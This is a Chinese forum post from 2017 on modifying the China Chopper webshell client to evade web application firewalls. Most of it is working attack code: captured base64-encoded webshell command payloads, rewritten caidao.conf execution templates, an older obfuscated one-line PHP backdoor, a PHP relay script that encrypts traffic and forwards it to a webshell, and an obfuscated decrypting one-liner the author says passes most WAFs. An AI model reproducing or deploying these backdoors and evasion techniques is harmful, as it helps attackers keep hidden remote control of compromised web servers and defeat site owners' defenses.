本帖最后由 gy00fly 于 2017-7-6 00:13 编辑
拿到一个webshell后,我们通常喜欢用中国菜刀去管理,而很多时候我们有了过WAF的一句话,但是却没有一个过waf的菜刀。新版的菜刀中有一个caidao.conf文件,我们可以通过修改里面的配置达到过waf的目的,这里我分享一下思路和方法。说明一下,我只是借鉴前人的方法按自己理解去修改,有什么不好不对的地方请大家指出来。
这是菜刀的目录,其他的不知道可不可以动,但是可以修改caidao.conf文件,作者也说了,可以通过修改里面的配置达到绕过的效果。
绕WAF之前,首先我们需要知道菜刀的工作原理。我在虚拟机用phpstudy搭建了一个环境,放了一个一句话木马,然后用菜刀连接。
用抓包的方式来了解菜刀的工作情况。 抓到的数据:
Y=array_map("ass"."ert",array("ev"."Al(\"\\\$xx%3D\\\"Ba"."SE6"."4_dEc"."OdE\\\";@ev"."al(\\\$xx('QGluaV9zZXQoImRpc3BsYXlfZXJyb3JzIiwiMCIpO0BzZXRfdGltZV9saW1pdCgwKTtpZihQSFBfVkVSU0lPTjwnNS4zLjAnKXtAc2V0X21hZ2ljX3F1b3Rlc19ydW50aW1lKDApO307ZWNobygiWEBZIik7JEQ9J0Q6XFxwaHBTdHVkeVxcV1dXXFwnOyRGPUBvcGVuZGlyKCREKTtpZigkRj09TlVMTCl7ZWNobygiRVJST1I6Ly8gUGF0aCBOb3QgRm91bmQgT3IgTm8gUGVybWlzc2lvbiEiKTt9ZWxzZXskTT1OVUxMOyRMPU5VTEw7d2hpbGUoJE49QHJlYWRkaXIoJEYpKXskUD0kRC4nLycuJE47JFQ9QGRhdGUoIlktbS1kIEg6aTpzIixAZmlsZW10aW1lKCRQKSk7QCRFPXN1YnN0cihiYXNlX2NvbnZlcnQoQGZpbGVwZXJtcygkUCksMTAsOCksLTQpOyRSPSJcdCIuJFQuIlx0Ii5AZmlsZXNpemUoJFApLiJcdCIuJEUuIlxuIjtpZihAaXNfZGlyKCRQKSkkTS49JE4uIi8iLiRSO2Vsc2UgJEwuPSROLiRSO31lY2hvICRNLiRMO0BjbG9zZWRpcigkRik7fTtlY2hvKCJYQFkiKTtkaWUoKTs%3D'));\");"));
Y是一句话的木马,上面的数据我们可以简化一下 Y=array_map("assert",array("evAl(\"\\\$xx=\\\"BaSE64_dEcOdE\\\";@eval(\\\$xx('QGluaV9zZXQoImRpc3BsYXlfZXJyb3JzIiwiMCIpO0BzZXRfdGltZV9saW1pdCgwKTtpZihQSFBfVkVSU0lPTjwnNS4zLjAnKXtAc2V0X21hZ2ljX3F1b3Rlc19ydW50aW1lKDApO307ZWNobygiWEBZIik7JEQ9J0Q6XFxwaHBTdHVkeVxcV1dXXFwnOyRGPUBvcGVuZGlyKCREKTtpZigkRj09TlVMTCl7ZWNobygiRVJST1I6Ly8gUGF0aCBOb3QgRm91bmQgT3IgTm8gUGVybWlzc2lvbiEiKTt9ZWxzZXskTT1OVUxMOyRMPU5VTEw7d2hpbGUoJE49QHJlYWRkaXIoJEYpKXskUD0kRC4nLycuJE47JFQ9QGRhdGUoIlktbS1kIEg6aTpzIixAZmlsZW10aW1lKCRQKSk7QCRFPXN1YnN0cihiYXNlX2NvbnZlcnQoQGZpbGVwZXJtcygkUCksMTAsOCksLTQpOyRSPSJcdCIuJFQuIlx0Ii5AZmlsZXNpemUoJFApLiJcdCIuJEUuIlxuIjtpZihAaXNfZGlyKCRQKSkkTS49JE4uIi8iLiRSO2Vsc2UgJEwuPSROLiRSO31lY2hvICRNLiRMO0BjbG9zZWRpcigkRik7fTtlY2hvKCJYQFkiKTtkaWUoKTs%3D'));\");"));
我们将这数据包以POST的方式发送出去
可以看到列出了目录,成功的执行了菜刀传过去的数据 分析一下,菜刀是用函数array_map执行了assert(eval(base64_decode(“%s”))),%s就是菜刀传出的base64加密的数据,一般我们不会去改这个。这个时候我们看一下菜刀的配置文件。 //PHP_BASE参数:%s
<PHP_BASE>
array_map("ass"."ert",array("ev"."Al(\"\\\$xx%%3D\\\"Ba"."SE6"."4_dEc"."OdE\\\";@ev"."al(\\\$xx('%s'));\");"));
</PHP_BASE>
可以看到,实现的方法就写在菜刀配置文件中,那么我们就可以通过修改配置传输菜刀的数据。 菜刀用的是array __map函数,那么我们是不是可以换个函数使用比如说array_diff_uassoc()替换一下: y=array_diff_uassoc(array("eval(\"\\\$xx=\\\"BaSE64_dEcOdE\\\";@eval(\\\$xx('QGluaV9zZXQoImRpc3BsYXlfZXJyb3JzIiwiMCIpO0BzZXRfdGltZV9saW1pdCgwKTtpZihQSFBfVkVSU0lPTjwnNS4zLjAnKXtAc2V0X21hZ2ljX3F1b3Rlc19ydW50aW1lKDApO307ZWNobygiWEBZIik7JEQ9J0Q6XFxwaHBTdHVkeVxcV1dXXFwnOyRGPUBvcGVuZGlyKCREKTtpZigkRj09TlVMTCl7ZWNobygiRVJST1I6Ly8gUGF0aCBOb3QgRm91bmQgT3IgTm8gUGVybWlzc2lvbiEiKTt9ZWxzZXskTT1OVUxMOyRMPU5VTEw7d2hpbGUoJE49QHJlYWRkaXIoJEYpKXskUD0kRC4nLycuJE47JFQ9QGRhdGUoIlktbS1kIEg6aTpzIixAZmlsZW10aW1lKCRQKSk7QCRFPXN1YnN0cihiYXNlX2NvbnZlcnQoQGZpbGVwZXJtcygkUCksMTAsOCksLTQpOyRSPSJcdCIuJFQuIlx0Ii5AZmlsZXNpemUoJFApLiJcdCIuJEUuIlxuIjtpZihAaXNfZGlyKCRQKSkkTS49JE4uIi8iLiRSO2Vsc2UgJEwuPSROLiRSO31lY2hvICRNLiRMO0BjbG9zZWRpcigkRik7fTtlY2hvKCJYQFkiKTtkaWUoKTs%3D'));\");"=>""), array(''),"assert");
POST一下 也是列出了目录,说明成功了,然后我们写入到菜刀的配置中 array_diff_uassoc(array("ev"."Al(\"\\\$xx%%3D\\\"Ba"."SE6"."4_dEc"."OdE\\\";@ev"."al(\\\$xx('%s'));\");"), array(''), "as"."sert");
然后试试菜刀,可以连接。 以前有个过狗一句话是这样的 <?php
$a=array($_REQUEST[pass]=>"");
$b=array('');
array_diff_uassoc($a,$b,create_function('$a','return assert($a);'));?>
现在是不过狗了,但是可以借鉴现在使用的一句话,利用同样的思路修改菜刀配置文件,不过一定要注意到eval和assert并不是等同的
而菜刀作者本身也提供了一个很好的思路 可以很清楚的看到,菜刀是将数据整体传输到服务器在一句话中用base64解码执行,这样也就可以达到绕过waf的效果,但是现在估计也不能用了。
下面是我网上看到的两种方法: https://www.secpulse.com/archives/53456.html
第一个思路和菜刀作者差不多,也是将传输的数据Base64加密,在服务器接收的时候解密执行。 第二个是在传输的过程中,利用中转的方式把base64_decode提取出来以&1141056911=base64_decode的方式传过去在用$_GET[1141056911]接收。 那我们是不是可以把这两个方法结合一下呢 他们用的Base64加密。那我们是不是可以换个加密算法,或则自己写个加密算法,是不是还可以再猥琐点使用多次加密呢。
我在百度找了个php写的加密算法,然后添加到上面的中转脚本,修改一下,放在我的另一虚拟机里面:
php中转脚本:123.php <?php
function encrypt($data, $key) //加密算法
{
$key = md5($key);
$x = 0;
$len = strlen($data);
$l = strlen($key);
for ($i = 0; $i < $len; $i++)
{
if ($x == $l)
{
$x = 0;
}
$char .= $key{$x};
$x++;
}
for ($i = 0; $i < $len; $i++)
{
$str .= chr(ord($data{$i}) + (ord($char{$i})) % 256);
}
return base64_encode($str);
}
$webshell="http://192.168.117.133/cmd.php";//把这里改成你的shell地址
$da=$_POST;
$data = $da;
$key = '123'; // 密钥
//print_r($data);
$encrypt = encrypt($data[y], $key);
$data[y]= $encrypt;//y是你的一句话木马密码
$data = http_build_query($data);
$opts = array (
'http' => array (
'method' => 'POST',
'header'=> "Content-type: application/x-www-form-urlencoded\r\n" .
"Content-Length: " . strlen($data) . "\r\n",
'content' => $data)
);
$context = stream_context_create($opts);
$html = @file_get_contents($webshell, false, $context); //发送post
echo $html;
?>
然后将我们的解密算法写在我们的一句话中
<?php
function decrypt($data, $key)
{
$key = md5($key);
$x = 0;
$data = base64_decode($data);
$len = strlen($data);
$l = strlen($key);
for ($i = 0; $i < $len; $i++)
{
if ($x == $l)
{
$x = 0;
}
$char .= substr($key, $x, 1);
$x++;
}
for ($i = 0; $i < $len; $i++)
{
if (ord(substr($data, $i, 1)) < ord(substr($char, $i, 1)))
{
$str .= chr((ord(substr($data, $i, 1)) + 256) - ord(substr($char, $i, 1)));
}
else
{
$str .= chr(ord(substr($data, $i, 1)) - ord(substr($char, $i, 1)));
}
}
return $str;
}
$key = '123';//密钥
$a=rtrim('tressaxxxxx','x');
$b=strrev($a);
$c=$_REQUEST["y"];
$decrypt = decrypt($c, $key);
@$b(base64_decode($decrypt));
?>
这个一句话D盾一级,应该能过大多的WAF。 然后菜刀的配置改成作者的ZXZhbChiYXNlNjRfZGVjb2RlKCRfUE9TVFtpZF0pKTs%%3D&id=%s
目标换成我的另一个虚拟机的ip:192.168.117.129
我们的POST数据就变成y=ZXZhbChiYXNlNjRfZGVjb2RlKCRfUE9TVFtpZF0pKTs=
&id=QGluaV9zZXQoImRpc3BsYXlfZXJyb3JzIiwiMCIpO0BzZXRfdGltZV9saW1pdCgwKTtpZihQSFBfVkVSU0lPTjwnNS4zLjAnKXtAc2V0X21hZ2ljX3F1b3Rlc19ydW50aW1lKDApO307ZWNobygiWEBZIik7JEQ9J0Q6XFxwaHBTdHVkeVxcV1dXXFwnOyRGPUBvcGVuZGlyKCREKTtpZigkRj09TlVMTCl7ZWNobygiRVJST1I6Ly8gUGF0aCBOb3QgRm91bmQgT3IgTm8gUGVybWlzc2lvbiEiKTt9ZWxzZXskTT1OVUxMOyRMPU5VTEw7d2hpbGUoJE49QHJlYWRkaXIoJEYpKXskUD0kRC4nLycuJE47JFQ9QGRhdGUoIlktbS1kIEg6aTpzIixAZmlsZW10aW1lKCRQKSk7QCRFPXN1YnN0cihiYXNlX2NvbnZlcnQoQGZpbGVwZXJtcygkUCksMTAsOCksLTQpOyRSPSJcdCIuJFQuIlx0Ii5AZmlsZXNpemUoJFApLiJcdCIuJEUuIlxuIjtpZihAaXNfZGlyKCRQKSkkTS49JE4uIi8iLiRSO2Vsc2UgJEwuPSROLiRSO31lY2hvICRNLiRMO0BjbG9zZWRpcigkRik7fTtlY2hvKCJYQFkiKTtkaWUoKTs=
然后POST一下
也是执行了,后面用菜刀连接也是可以的。
这里分享的是php的,其他的也可以采用中转或函数替换,但是要复杂点,毕竟PHP是世界上最伟大的语言
因为一些原因,我本地搭建的环境安全狗和云锁只拦截注入,不拦截菜刀,我也不好测试。不过按照这个思路应该是能过很多WAF的。
我只是分享一下方法和思路。文笔不好,写的也有点乱,有错误请指出。
最后再分享一篇我看到的文章,也许能给你们更好的思路,由于他的博客关了,就发PDF吧
无特征过狗一句话猥琐思路 _ Bypass.pdf
(716.49 KB, 下载次数: 563)
|